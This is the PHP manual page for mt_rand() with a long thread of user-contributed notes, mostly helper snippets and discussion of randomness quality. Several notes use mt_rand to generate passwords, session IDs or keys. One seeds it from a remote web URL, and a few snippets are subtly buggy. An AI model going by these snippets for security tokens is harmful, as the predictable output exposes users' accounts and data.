If called without the optional min, max arguments mt_rand() returns a pseudo-random value between 0 and mt_getrandmax(). If you want a random number between 5 and 15 (inclusive), for example, use mt_rand(5, 15).

Parameters

min

Optional lowest value to be returned (default: 0)

max

Optional highest value to be returned (default: mt_getrandmax())

Return Values

A random integer value between min (or 0) and max (or mt_getrandmax(), inclusive), or FALSE if max is less than min.

Changelog

Version | Description
5.3.4 | Issues an E_WARNING and returns FALSE if max < min.

Examples

Example #1 mt_rand() example

<?php
echo mt_rand() . "\n";
echo mt_rand() . "\n";

echo mt_rand(5, 15);
?>

The above example will output something similar to:

1604716014
1478613278
6

Notes

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead.

Caution

The distribution of mt_rand() return values is biased towards even numbers on 64-bit builds of PHP when max is beyond 2^32.

See Also

  • mt_srand() - Seed the better random number generator
  • mt_getrandmax() - Show largest possible random value
  • openssl_random_pseudo_bytes() - Generate a pseudo-random string of bytes
  • rand() - Generate a random integer

User Contributed Notes

Jeff Cours 13-Sep-2014 07:12
With PHP 5.3.3, we're seeing odd behavior on 32 bit Linux.

This works fine on 64 bit Linux:
<?php
printf ("%08x\n", mt_rand (0, 0xFFFFFFFF));
?>
but on our 32 bit Linux development server, it's always yielding "00000000".

On that same machine, this:
<?php
printf ("%08x\n", mt_rand (0, 0xFFFFFFF0));
?>
seems to always yield either 00000000 or a number in the range fffffff2 to ffffffff. This:
<?php
printf ("%08x\n", mt_rand (0, 0xFFFFFF00));
?>
gives numbers where the last two digits vary, and so on through at least 0xF0000000.

However, this:
<?php
printf ("%08x\n", mt_rand (0, 0x7FFFFFFF));
?>
seems to be well-behaved.

The moral? On 32 bit systems, be careful about crossing the signed number boundary, 0x7FFFFFFF.
falkartis at gmail dot com 13-Jul-2014 12:34
I wrote another function to get a random float, if its not precise enougth jut add some '0' to the $mul parameter.

<?php

function f_rand($min=0,$max=1,$mul=1000000){
    if ($min>$max) return false;
    return mt_rand($min*$mul,$max*$mul)/$mul;
}
?>
I made following  tests:
<?php
    echo f_rand()."<br>";              //0.497153
    echo f_rand(0.5)."<br>";           //0.857822
    echo f_rand(0.5,0.6)."<br>";       //0.599956
    echo f_rand(0,10)."<br>";          //5.801949
    echo f_rand(0,2,2)."<br>";         //1.5
    echo f_rand(0,2,10)."<br>";        //1.7
?>
bimal at sanjaal dot com 11-May-2014 05:48
I was seeing how much unique and random 5-digits number I can use/generate in one-second's interval of time. (I had another logic for myself to make my number unique based on the date/time stamp value as well).

I found that the mt_rand() numbers are not quite unique. The repetitions  will often occur a lot of times even in the first 50 random numbers generated in a loop.

<?php
header('Content-Type: text/plain');

$errors = array();
$uniques = array();
for($i = 0; $i < 500; ++$i)
{
    $random_code = mt_rand(10000, 99999);
    if(!in_array($random_code, $uniques))
    {
        $uniques[] = $random_code;
    }
    else
    {
        $errors[] = $random_code;
    }
}

/**
 * If you get any data in this array, it is not exactly unique
 * Run this script for few times and you may see some repeats
 */
print_r($errors);
?>
github.com/elcodedocle 23-Apr-2014 03:00
Ever wanted a crypto safe mt_rand()? Not useful for many things I guess (maybe not useful at all), but I recently wanted to build a class able to pick random words from a dictionary in a safe way, so they could be used as passwords. I probably overdid it... The result is my attempt on a "cryptographically secure" mt_rand implementation including a wrapper for selecting and using the best random bytes generator from available extensions and /dev/urandom (about 100 times slower than mt_rand on a single core, by the way, so it's clearly open for improvement if you want to fork it on github.com/elcodedocle/cryptosecureprng, where you can find the docs to it too). Here is the minimized version (note too long):
<?php
/**
 * Crypto Secure PRNG
 * @copyright  2014 elcodedocle
 */
class CryptoSecurePRNG {
    private $intByteCount = 4;
    private $defaultMax = 2147483647;
    private $mcrypt;
    private $openssl;
    private $urandomFileHandler = false;
    public function getRandomBytesString($byteCount){
        $chars = '';
        if ($this->mcrypt) {
            $chars = mcrypt_create_iv($byteCount, MCRYPT_DEV_URANDOM);
        }
        if (!$chars && $this->openssl) {
            $chars = openssl_random_pseudo_bytes($byteCount);
        }
        if (!$chars && is_resource($this->urandomFileHandler)) {
            while (($len  = strlen($chars))< $byteCount) {
                $chars .= fread($this->urandomFileHandler, $byteCount - $len);
            }
        }
        if ($len = strlen($chars) < $byteCount) {
            for ($i=0;$i<$len;$i++) { $chars[$i] = $chars[$i] ^ chr(mt_rand(0, 255)); }
            for ($i = $len; $i < $byteCount; $i++) {
                $chars .= chr(mt_rand(0, 255));
            }
        }
        return $chars;
    }
    public function rand($min = 0, $max = null){
        if ($max === null) { $max = $this->defaultMax; }
        if (!is_int($min)||!is_int($max)) { throw new Exception('$min and $max must be integers'); }
        if ($min>$max) { throw new Exception('$min must be <= $max'); }
        $chars = $this->getRandomBytesString($this->intByteCount);
        $n = 0;
        for ($i=0;$i<strlen($chars);$i++) {$n|=(ord($chars[$i])<<(8*(strlen($chars)-$i-1)));}
        return (abs($n)%($max-$min+1))+$min;
    }
    public function __construct(){
        $this->mcrypt  = function_exists('mcrypt_create_iv');
        $this->openssl = function_exists('openssl_random_pseudo_bytes');
        if (is_readable('/dev/urandom')){ $this->urandomFileHandler = fopen('/dev/urandom', 'r'); }
    }
    public function __destruct(){
        if (is_resource($this->urandomFileHandler )) fclose($this->urandomFileHandler);
    }
}

$randGen = new CryptoSecurePRNG();
echo $randGen->rand();  //outputs rand int between 0 and 2^32
Pawe Krawczyk 05-Nov-2013 08:13
To reiterate the message about *not* using mt_rand() for anything security related, here's a new tool that has been just posted that recovers the seed value given a single mt_rand() output:

http://www.openwall.com/php_mt_seed/README
simon at labs dot coop 06-Oct-2013 04:38
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

<?php

mt_srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
hofmann dot johannes at gmail dot com 14-Sep-2013 05:21
/dev/urandom provides high entropy, but it is important to remember that it is created by collecting random os garbage from memory - if not enough of that garbage is created reading the file will just block the whole process until there is enough entropy to generate the requested random bytes. in debian-based setups, the rng-tools package can be used to manage entropy.
Miller 03-Aug-2013 03:05
Another generic random string function, but very small and fast.

<?php
function mt_rand_str ($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
    for ($s = '', $cl = strlen($c)-1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
    return $s;
}

echo mt_rand_str(8); // Something like mp2tmpsw
echo mt_rand_str(6, '0123456789ABCDEF'); // Something like B9CD0F
?>
Hayley Watson 30-Jan-2013 07:56
Another graphical comparison of rand() and mt_rand(). It effectively draws a graph showing how the last generated number affects the next by plotting the numbers in consecutive pairs against each other.

<?php
header("Content-type: image/png");
$sizex=800;
$sizey=800;

$img = imagecreatetruecolor(2 * $sizex,$sizey);
$black = imagecolorallocate($img,0, 0, 0);
imagefilledrectangle($img, 0, 0, 2 * $sizex, $sizey, imagecolorallocate($img, 255, 255, 255));

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = rand(0,$sizex);
    imagesetpixel($img, $p, $np, $black);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = mt_rand(0,$sizex);
    imagesetpixel($img, $p + $sizex, $np, $black);
    $p = $np;
}

imagepng($img);
imagedestroy($img);
?>
cyrax21 at gmail dot com 01-Mar-2012 05:44
i wanted to spot out the big difference between rand and mt_rand when producing images using randomness as noise.

for example this is a comparation between rand and mt_rand on a 400x400 pixel png: http://oi43.tinypic.com/vwtppl.jpg

code:
<?php
header("Content-type: image/png");
$sizex=800;
$sizey=400;

$img = imagecreatetruecolor($sizex,$sizey);
$ink = imagecolorallocate($img,255,255,255);

for($i=0;$i<$sizex/2;$i++) {
  for($j=0;$j<$sizey;$j++) {
  imagesetpixel($img, rand(1,$sizex/2), rand(1,$sizey), $ink);
  }
}

for($i=$sizex/2;$i<$sizex;$i++) {
  for($j=0;$j<$sizey;$j++) {
  imagesetpixel($img, mt_rand($sizex/2,$sizex), mt_rand(1,$sizey), $ink);
  }
}

imagepng($img);
imagedestroy($img);
?>

the differences reduce when reducing the pixels of the image.. infact for a 100x100 pixel image the noise produced from the rand function is much more realistic than how it is for a 400x400 image: http://oi39.tinypic.com/5k0row.jpg

(rand is on the left, mt_rand on the right)
contact at sheyd dot fr 24-Nov-2011 01:43
To quickly build a human-readable random string for a captcha per example :

<?php

function random($length = 8)
{
    $chars = 'bcdfghjklmnprstvwxzaeiou';

    for ($p = 0; $p < $length; $p++)
    {
        $result .= ($p%2) ? $chars[mt_rand(19, 23)] : $chars[mt_rand(0, 18)];
    }

    return $result;
}

?>

Note that I have removed q and y from $chars to avoid readability problems.
j dot s dot shiuan at gmail dot com 02-Sep-2011 08:12
Another good way to get a random float is to divide the result of mt_rand.
Let's say we want a float between 0.75 and 1.25.

<?php

$i = mt_rand(75,125) / 100;

?>
rok dot kralj at rok-kralj dot net 30-Aug-2011 06:12
This function has limited entrophy. So, if you want to create random string, it will produce only about 2 billion different strings, no matter the length of the string. This can be serous security issue if you are using such strings for session indentifiers, passwords etc.

Many times I have wanted to create *propper* base-64 string (containing only printable characters) of arbitrary length for many purposes. I wrote a function that checks if UNIX random generator is available and uses in that case. If not, it tries to increase the entrophy by accounting in the script execution time.

Here is the function, just try it out!

<?php
function random($len) {
    if (@is_readable('/dev/urandom')) {
        $f=fopen('/dev/urandom', 'r');
        $urandom=fread($f, $len);
        fclose($f);
    }

    $return='';
    for ($i=0;$i<$len;++$i) {
        if (!isset($urandom)) {
            if ($i%2==0) mt_srand(time()%2147 * 1000000 + (double)microtime() * 1000000);
            $rand=48+mt_rand()%64;
        } else $rand=48+ord($urandom[$i])%64;

        if ($rand>57)
            $rand+=7;
        if ($rand>90)
            $rand+=6;

        if ($rand==123) $rand=45;
        if ($rand==124) $rand=46;
        $return.=chr($rand);
    }
    return $return;
}
?>
Robin Leffmann 25-Dec-2010 03:14
Fast, pseudo-random binary data generation using mt_rand():

<?php

function rnd_bin( $length )
{
    while( @$c++ * 16 < $length )
        @$tmp .= md5( mt_rand(), true );
    return substr( $tmp, 0, $length );
}

?>
Andrew Moore 10-Aug-2010 06:16
If you need a predictable set of numbers for a given seed, you may use the following Pure-PHP implementation of a Mersenne Twister

<?php
class Mersenne_Twister
{
  private $state = array ();
  private $index = 0;

  public function __construct($seed = null) {
    if ($seed === null)
      $seed = mt_rand();

    $this->setSeed($seed);
  }

  public function setSeed($seed) {
    $this->state[0] = $seed & 0xffffffff;

    for ($i = 1; $i < 624; $i++) {
      $this->state[$i] = (((0x6c078965 * ($this->state[$i - 1] ^ ($this->state[$i - 1] >> 30))) + $i)) & 0xffffffff;
    }

    $this->index = 0;
  }

  private function generateTwister() {
    for ($i = 0; $i < 624; $i++) {
      $y = (($this->state[$i] & 0x1) + ($this->state[$i] & 0x7fffffff)) & 0xffffffff;
      $this->state[$i] = ($this->state[($i + 397) % 624] ^ ($y >> 1)) & 0xffffffff;

      if (($y % 2) == 1) {
        $this->state[$i] = ($this->state[$i] ^ 0x9908b0df) & 0xffffffff;
      }
    }
  }

  public function getNext($min = null, $max = null) {
    if (($min === null && $max !== null) || ($min !== null && $max === null))
      throw new Exception('Invalid arguments');

    if ($this->index === 0) {
      $this->generateTwister();
    }

    $y = $this->state[$this->index];
    $y = ($y ^ ($y >> 11)) & 0xffffffff;
    $y = ($y ^ (($y << 7) & 0x9d2c5680)) & 0xffffffff;
    $y = ($y ^ (($y << 15) & 0xefc60000)) & 0xffffffff;
    $y = ($y ^ ($y >> 18)) & 0xffffffff;

    $this->index = ($this->index + 1) % 624;

    if ($min === null && $max === null)
      return $y;

    $range = abs($max - $min);

    return min($min, $max) + ($y % ($range + 1));
  }
}
?>
nilesh at itech7 dot com 19-May-2010 09:20
A class to generate 99.5% unqiue strings. I found that there is only one or two characters common between two subsequent strings.

<?php

class Local_RandomString {

  protected $_length;
  protected $_prevRand;

  public function __construct($length = 15) {

    $this->_length = $length;

  }

  public function getRand() {

    $randStr = null;
    $args[] = 'N' . $this->_length;

    for($i = 0; $i < $this->_length; $i++) {
      $args[] = mt_rand();
    }

    $randStr = substr(base64_encode((call_user_func_array('pack', $args))), 1, $this->_length);
    $this->_prevRand = $randStr;
    return $randStr;

  }

  public function setLength($l) {

    $this->_length = (int) $l;

    if($this->_length <= 0) {
      throw new Exception('Invalid random string length');
    }

  }

  public function getPrevRand() {

    return $this->_prevRand;

  }

}
?>
wayne 24-Feb-2010 04:53
A little useful function to create a random unique number out of an array of unallowed values:

<?php
function rand_except($min, $max, $except)
  //function returns a random integer between min and max, just like function rand() does.
  // Difference to rand is that the random generated number will not use any of the values
  // placed in $except. ($except must therefore be an array)
  // function returns false if $except holds all values between $min and $max.
  {
  //first sort array values
  sort($except, SORT_NUMERIC);
  //calculate average gap between except-values
  $except_count = count($except);
  $avg_gap = ($max - $min + 1 - $except_count) / ($except_count + 1);
  if ($avg_gap <= 0)
     return false;
  //now add min and max to $except, so all gaps between $except-values can be calculated
  array_unshift($except, $min - 1);
  array_push($except, $max + 1);
  $except_count += 2;
  //iterate through all values of except. If gap between 2 values is higher than average gap,
  // create random in this gap
  for ($i = 1; $i < $except_count; $i++)
      if ($except[$i] - $except[$i - 1] - 1 >= $avg_gap)
         return mt_rand($except[$i - 1] + 1, $except[$i] - 1);
  return false;
  }
?>
ISAWHIM 03-Feb-2010 05:46
This is not trying to dissuade use of this alternative, just trying to expand on the things to "watch-out-for", when using this...

As per the description assumption...
"Many random number generators of older libcs have dubious or unknown characteristics and are slow."

You would elude to the assumption that mt_rand() does not have, "dubious or unknown characteristics". It is obvious that it is faster, but that does not count the additional code required to ensure validity of results, or scope of input value checking.

This function fails horribly, without error, when operating out of the scope of the range. (Key point being, "without error".)

mt_getrandmax() is NOT the max INTEGER size. It is limited to positive numbers from ZERO to your integers largest value. Thus, it is HALF the size of an INTEGER, since integers are SIGNED, but mt_rand can only correctly randomize from ZERO to mt_getrandmax(). (Though, that is not entirely true. It can do negative numbers, if the min/max range/spread is not greater than the value of mt_getrandmax()... sometimes.)

Things to watch-out for... (Sort of negates any speed gains.)

This assumes you "Attempted" to process MIN>=0 and MAX<=mt_getrandmax().

Returning a negative value = RANDOMIZER FAILED
Returning a vlaue higher than mt_getrandmax() = RANDOMIZER FAILED
Returning SAME_NUMBER from more than one call = Possibly RANDOMIZER FAILED
Returning a number <MIN or >MAX = RANDOMIZER FAILED

PHP version 5.2.6 on Apechee 2.0.63 on a Linux server.
Specific instances of failure... (All these still return a value.)
With RAND_MAX reporting that it is '2147483647'.

<?PHP
// Returns negative numbers as if (-2147483647,0)
$z = mt_rand(0,2147483648);

// Returns mostly 1 or negative numbers
$z = mt_rand(-2147483647,2147483647);

// Returns negative numbers, but within range set???
// So much for returning only values from 0 to Max
$z = mt_rand(-2147483647,0);

// Attempt to stay within the range/spread of mt_getrandmax()
// Results are odd, like 180 to 2147478000
$z = mt_rand(2147483647,4294967294);

// Works, but it should not, as the value is not an INT
// Values are converted to floor(x), so range is (0,0)
$z = mt_rand(0.000001,0.9999999);
?>

Code used to test...

<?PHP
// Reports the MAX possible, which is half of an INT's value
echo('RAND_MAX: '.mt_getrandmax());
for($i=0;$i<=100000;$i++) {
// RAND_MAX = 2147483647
$z = mt_rand(0,2147483647);
// echo($z.'<BR>'); // Uncomment to see results, lower LOOP values first!
if($z>$high || !isset($high)){$high=$z;}
if($z<$low || !isset($low)){$low=$z;}
}
echo('HIGH: '.$high.'<BR>LOW: '.$low.'<BR>');
?>

To get a number that is actually in the full range of an INT, you need to make two separate calls, and add them together. Then convert that unsigned INT value into a signed INT value.
armencho at gmail dot com 15-Jan-2010 04:59
The following function generates a string of arbitrary length (with limitations), composed of random PHP characters (i.e. each an 8-bit value - a byte). Suitable for generating random session strings. Encode as Base64 to transmit over network, where required.

** The function is pretty much one of the fastest (if not THE fastest) methods of generating random strings, as opposed to numerous examples given on this page which go about with char-by-char generation. Sloppy benchmarks estimate a factor of 10 speedup. Keep your websites lean, people. **

The only thing to keep in mind is that, by design, it outputs 8-bit characters, and thus the generated string is not automatically suitable for transmission with various network protocols, unless altered, f.e. URL- or Base64- encoded. Also, again by design, the length of the string is a multiple of 4 characters/bytes. The version below produces a 24 character long string. This will also give you a clean input to get a 32 character long Base64 encoded variant of it.

<?php

function gen_rand_str_24()
{
     return pack('N6', mt_rand(), mt_rand(), mt_rand(),
          mt_rand(), mt_rand(), mt_rand());
}

?>

I leave it an exercise to the reader to write a generic (i.e. arbitrary double word length, not 6 dwords as in above) version of it.
Anonymous 05-Aug-2009 12:45
Just another random password generator. Assembles passwords such as these:

N_v85kA2_s
8k4jz94_H0
30824n6VcN

useful for... whatever. ;)

$underscores holds the maximum allowed number of underscores. Default is two. The function is programmed to not add an underscore at the beginning or end of the password, right after another underscore, or if the maximum # has already been used.

$length holds the length you want the password to be. Default is 10 characters long.

<?php
function alphanumericPass()
{
    // Do not modify anything below here
    $underscores = 2; // Maximum number of underscores allowed in password
    $length = 10; // Length of password

    $p ="";
    for ($i=0;$i<$length;$i++)
    {
        $c = mt_rand(1,7);
        switch ($c)
        {
            case ($c<=2):
                // Add a number
                $p .= mt_rand(0,9);
            break;
            case ($c<=4):
                // Add an uppercase letter
                $p .= chr(mt_rand(65,90));
            break;
            case ($c<=6):
                // Add a lowercase letter
                $p .= chr(mt_rand(97,122));
            break;
            case 7:
                 $len = strlen($p);
                if ($underscores>0&&$len>0&&$len<($length-1)&&$p[$len-1]!="_")
                {
                    $p .= "_";
                    $underscores--;
                }
                else
                {
                    $i--;
                    continue;
                }
            break;
        }
    }
    return $p;
}
?>
mark omohundro, ajamyajax dot com 19-Feb-2009 06:13
just another example: both of these routines return a random decimal number between -1 and 1... since rand() only returns a max 'integer' value while mt_rand() return a max 'long' value -- at least on some platforms -- mt_rand() could be the better precision choice for some on any variation to this routine (but i don't think it matters here):

<?php
echo "-1 to 1 rand() value: ". (rand(getrandmax()*-1,getrandmax())/getrandmax()). "\n<br/>";
echo "-1 to 1 mt_rand() value: ". (mt_rand(mt_getrandmax()*-1,mt_getrandmax())/mt_getrandmax()). "\n";
?>
xphere81 at hotmail dot com 19-Sep-2008 01:08
@Jonathon

$id_list = range($min, $max);
shuffle($id_list);

This is a faster way to obtain a list of unique id's in a random order.
It's always better to use PHP predefined functions, isn't it? ;)

Also remember that calling mt_rand too many times can downgrade the performance of ANY algorithm.
rt 28-Aug-2008 02:14
Re: euxneks at NOSPAMgmail dot com

You might also want to add STR_PAD_LEFT and have:

<?php
echo '#' . str_pad( base_convert( mt_rand(0, ( 255*255*255) ), 10, 16 ), 6, '0', STR_PAD_LEFT) . "\n";
?>
euxneks at NOSPAMgmail dot com 19-Aug-2008 12:11
Re: keith at ourwebsite dot ca

Here's another way to do it, in one line :)
<?php
echo '#' . str_pad( base_convert( mt_rand(0, ( 255*255*255) ), 10, 16 ), 6, '0' ) . "\n";
?>

str_pad is there in case mt_rand chooses a number that will generate a hex value with less than 6 characters. (you could leave that out but it's not a very clean way to write the hex colors is it :)
Mark Seecof 06-Jun-2008 08:31
If you need some pseudorandom bits for security or cryptographic purposes (e.g.g., random IV for block cipher, random salt for password hash) mt_rand() is a poor source.  On most Unix/Linux and/or MS-Windows platforms you can get a better grade of pseudorandom bits from the OS or system library, like this:

<?php
// get 128 pseudorandom bits in a string of 16 bytes

$pr_bits = '';

// Unix/Linux platform?
$fp = @fopen('/dev/urandom','rb');
if ($fp !== FALSE) {
    $pr_bits .= @fread($fp,16);
    @fclose($fp);
}

// MS-Windows platform?
if (@class_exists('COM')) {
    // http://msdn.microsoft.com/en-us/library/aa388176(VS.85).aspx
    try {
        $CAPI_Util = new COM('CAPICOM.Utilities.1');
        $pr_bits .= $CAPI_Util->GetRandom(16,0);

        // if we ask for binary data PHP munges it, so we
        // request base64 return value.  We squeeze out the
        // redundancy and useless ==CRLF by hashing...
        if ($pr_bits) { $pr_bits = md5($pr_bits,TRUE); }
    } catch (Exception $ex) {
        // echo 'Exception: ' . $ex->getMessage();
    }
}

if (strlen($pr_bits) < 16) {
    // do something to warn system owner that
    // pseudorandom generator is missing
}
?>

NB: it is generally safe to leave both the attempt to read /dev/urandom and the attempt to access CAPICOM in your code, though each will fail silently on the other's platform.  Leave them both there so your code will be more portable.
Jonathon 17-Apr-2008 10:14
Below, andrei suggested a function for generating a list of unique integers, randomly arranged.  In response to a note below that his solution is inefficient, I'm providing an O(N) solution which should be much more efficient, yet still yield a good guarantee of producing randomly ordered integers.

<?php
function SwapShuffle($min, $max) {
  $last = $max - $min;

  for ($i=0; $i<=$last; $i++) {
    $arr[$i] = $min + $i;
  }

  for ($run=0; $run<7; $run++) {
    for ($i=0; $i<=$last; $i++) {
      $target = mt_rand(0, $last);
      $swap = $arr[$target];
      $arr[$target] = $arr[$i];
      $arr[$i] = $swap;
    }
  }

  return $arr;
}

// Call as:
$result = SwapShuffle(10, 30);
foreach ($result as $num) {
  echo "$num\n";
}
?>
geompse at yopmail dot com 29-Mar-2008 01:01
mt_rand() is not faster than rand() !

Tested over 100'000 iterations, with none/various/random arguments, mt_rand is always 3% slower than rand().
William Leslie 13-Feb-2008 06:24
Do not rely on the strength of any 'home-brewed' cryptographic algorithm, such as the one posted by dmoree at coker dot edu.  Algorithms such as MD5 and SHA-1 have been the subject of intense academic research and have known security properties.

While it is true that MD5 and SHA-1 are generally no longer recommended for use in new cryptosystems, there are newer algorithms such as SHA-256 that address the older algorithms' weaknesses.  These newer algorithms have not received quite as much scrutiny as their older counterparts, but have still been studied much more carefully than your home-brewed algorithm, most likely.

Dmoree at coker dot edu's concern about rainbow tables is best addressed by a properly applied salting technique.  Every bit of 'salt' added to a cryptographic hash effectively extends the complexity of the password and thus the size of the rainbow table needed to crack it.

Furthermore, wisely chosen password strength policies can mitigate such attacks.
fabiovh on gmail 13-Nov-2007 03:42
performance: for a repetitive task, it's much faster not to use the limit parameters, as shown below. just use the % operator.

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand()%3;
echo microtime(true)-$t;

echo '|';

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand(0,2);
echo microtime(true)-$t;

echo '|';

$t=microtime(true);
for($i=0;$i<1000000;$i++)
 mt_rand();
echo microtime(true)-$t;

output: 0.316797971725|0.442242145538|0.253082036972
bradpeabody at scientology dot net 03-Oct-2007 11:49
[Editorial note: This suggested "security" improvement simply punts the issue to the operating system: there is no guarantee that the operating system will work any better than the Mersenne twister (although it may have more entropy available)]

If you want some random text that is more secure than what can get from a built in PHP method, you can simply do:

<?php
$myRandomText = shell_exec('head -c 128 < /dev/urandom');
?>

That will get around the fact that rand() and mt_rand() are a bad place to start generating something that is supposed to be cryptographically secure.

The only down sides to this that I see are:
a) Ugly
b) Slow (have to launch external processes)
c) Not portable (can't do this on Windows)

But if you can live with that, this will be much more secure than using rand() or mt_rand().

- Brad
www.mrnaz.com 25-Jul-2007 07:00
This function uses mt_rand() to create a random string of specified length from an optionally supplied string of characters. It is good for generating passwords that only consist of alphanumeric characters or codes that must consist of a defined character space such as for barcodes. It can also be used to generate random hexadecimal numbers for things like encryption keys.

It is very fast, and allows for generation of strings of unlimited length.

<?php
function rand_string($len, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
    $string = '';
    for ($i = 0; $i < $len; $i++)
    {
        $pos = rand(0, strlen($chars)-1);
        $string .= $chars{$pos};
    }
    return $string;
}
?>
rok dot kralj at gmail dot com 16-Jun-2007 09:42
mt_rand function returns just a whole numbers. If you want a random float, then here's an elegant way:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>
chagenbu at php dot net 21-Mar-2007 06:18
The algorithm used by mt_rand() changed in PHP 5.2.1. If you are relying on getting the same sequence from mt_rand() after calling mt_srand() with a known seed, upgrading to PHP 5.2.1 will break your code. See http://bugs.php.net/bug.php?id=40724 for something of an explanation; there is no workaround.
12-Mar-2007 09:36
In one of my forums was a discussion about, how to change an image randomly, so i wrote this code using mt_rand ....

I hope you can use it ....

I Forgot something, sorry for that, but here is the correction.

<?php
  //ImageChange.php

  error_reporting(0);//hide the notice for the missing $iRand

  $sPath2ImageDir = Path;//preventing redundancy
  $aImages        = scandir($sBildOrdnerPfad);//Dir 2 Array
  $iImageCount    = count($aImages);//preventing redundancy

  while (getimagesize("{sPath2ImageDir}/{$aImages[$iRand]}")) {//recursion to get an image
   $iRand = mt_rand(2, $iImageCount-1);//min = 2 because $aImages[0] = "." and $aImages[1] = ".."
  }

  echo "<img alt=\"Image{$iRand}\" src=\"{sPath2ImageDir}/{$aImages[$iRand]}\" title=\"Image{$iRand}\" />";//show the image

  unset($aImages, $iImageCount, $iRand, $sBildOrdnerPfad);//if this script is used in another script
?>
Rene at mokiba dot de 10-Mar-2007 11:00
Here is my Function to generate an Array with unique random Numbers between "$from" and "$to".

<?php
function random_number_array($count, $from, $to){
   for($i=$from;$i<$to;$i++){
   $number_array[] = $i;
   }
   $random_number_array = array();
   mt_srand ((double) microtime() * 1000000);
   for($i=0;$i<$count;$i++){
     $random_number            = mt_rand(0,count($number_array)-1);
     $key_to_insert_and_delete = array_search($random_number, $number_array);
     $random_number_array[$i]    = $number_array[$key_to_insert_and_delete];
     array_splice($number_array, $key_to_insert_and_delete, 1);
   }
   // Array $random_number_array with $count random Numbers, between $from and $to
   return $random_number_array;
}
?>

I hope its helping you.

Greetings

Rene Andris
Rene at mokiba dot de 10-Mar-2007 08:50
Here is my Function to generate an Array with unique random Numbers between "$from" and "$to".

function random_number_array($count, $from, $to){
   for($i=$from;$i<$to;$i++){
    $number_array[] = $i;
   }
   $random_number_array = array();
   mt_srand ((double) microtime() * 1000000);
   for($i=0;$i<$count;$i++){
      $random_number            = mt_rand(0,count($number_array)-1);
      $key_to_insert_and_delete = array_search($random_number, $number_array);
      $random_number_array[$i]    = $number_array[$key_to_insert_and_delete];
      array_splice($number_array, $key_to_insert_and_delete, 1);
   }
   // Array $random_number_array with $count random Numbers, between $from and $to
   return $random_number_array;
}

I hope its helping you.

Greetings

Rene Andris
heavyraptor 14-Feb-2007 12:26
since my mt_rand_n() function isn't too fast I created a faster and easier function:

<?php
function mt_rand_exclusive($min,$max,$ex) {
  while (true) {
    if (!in_array($rand = mt_rand($min,$max),(array)$ex))
      return $rand;
  }
}
?>

Have fun
zolaar at nothanks dot com 08-Feb-2007 07:44
a better (and likely faster) way to generate a random 6-digit hex string:

<?php
$num = mt_rand ( 0, 0xffffff ); // trust the library, love the library...
$output = sprintf ( "%06x" , $num ); // muchas smoochas to you, PHP!
return $output;
?>

The mt_rand function won't give you a number outside the bounds you asked for -- no need to and-off the top bits -- and the sprintf function has params for length-padding & hexidecimal output.  It's likely faster because most of the work is being done by the wicked fast C functions that PHP sits on top of, though YMMV in that dept.
MagicalTux at ooKoo dot org 20-Nov-2006 04:34
In answer to David and pHp_n00b, about generating a random 6 characters hexadecimal string...

Well, the easiest solution would be :
<?php
$rand = mt_rand(0x000000, 0xffffff); // generate a random number between 0 and 0xffffff
$rand = dechex($rand & 0xffffff); // make sure we're not over 0xffffff, which shouldn't happen anyway
$rand = str_pad($rand, 6, '0', STR_PAD_LEFT); // add zeroes in front of the generated string
echo $rand;
?>

Some examples of generated stuff :
8514d2
3188ae
028f3e
444397
1de508
071662

You can easily make a function from this code.
Chris 10-Nov-2006 08:35
>Running the output of Mersenne Twister through an unkeyed >secure hash is NOT a good way to make it secure, because it'll >still have a relatively small internal state which, if recovered, >would allow reproduction of the keystream.  A better idea >would be to encrypt the output with a keyed encryption >algorithm - but if you were going to do that, you wouldn't >need a psuedorandom number generator at all, because a >counter would be just as good.

Not true. Mersenne Twister has an ENORMOUS amount of internal state - 4992 bits, bigger than practically any cipher's key length. The point of a secure random number generator is that you cannot predict future outputs based on past OUTPUTS, which is why a hash is applied. Clearly you can predict the future output of any pseudorandom number generator if you can acquire the internal state - a better algorithm will never solve this problem. If you use keyed encryption, recovering the key allows you to predict future outputs.
David 06-Nov-2006 09:40
Shouldn't it be a greater than (>) sign rather than a not equal (!=) sign? Because you're just checking to see if it is exactly six. So if it is 7 it, won't try to fix it. So wouldn't this be better?
<?
//....
if (strlen($random_hex) < "6") // sometimes it returns an only 5, or less, char Hex-Code,
   hexcode();        // so the function has to be repeat
elseif (strlen($random_hex) > "6") // sometimes it returns 7 or more characters
//...I don't know how to make it do only six, but your code seems to only check to make sure it doesn't do less than 6; nothing to counter doing more than 6.... so here would be some code to reduce the size back to 6 if it went over.
else
   echo $random_hex; // returns the Hex-Code
}
//...
?>
pHp_n00b 26-Sep-2006 04:00
<?php

// Generates a max."6 char" Hex-Code

function hexcode()
{

$min = hexdec("000000"); // result is 0    and sets the min-value for mt_rand
$max = hexdec("FFFFFF"); // result is 16777215 and sets the max-value for mt_rand

$random = mt_rand($min, $max); // creates a radom number between 0 and 16777215

$random_hex = dechex($random); // transforms the random number into a Hex-Code

// now the test, if the result has 6 chars

if (strlen($random_hex) != "6") // sometimes it returns an only 5, or less, char Hex-Code,
    hexcode();        // so the function has to be repeat
else
    echo $random_hex; // returns the Hex-Code
}

hexcode();

?>
MagicalTux at ooKoo dot org 25-Aug-2006 02:44
Since many people wrote little scripts to generate random sequences, I'll also give mine (which is slightly faster since it makes use of strlen only once, and uses strings instead of arrays) :

<?php
function code($nc, $a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') {
    $l=strlen($a)-1; $r='';
    while($nc-->0) $r.=$a{mt_rand(0,$l)};
    return $r;
}
?>
arias at elleondeoro dot com 29-May-2006 11:03
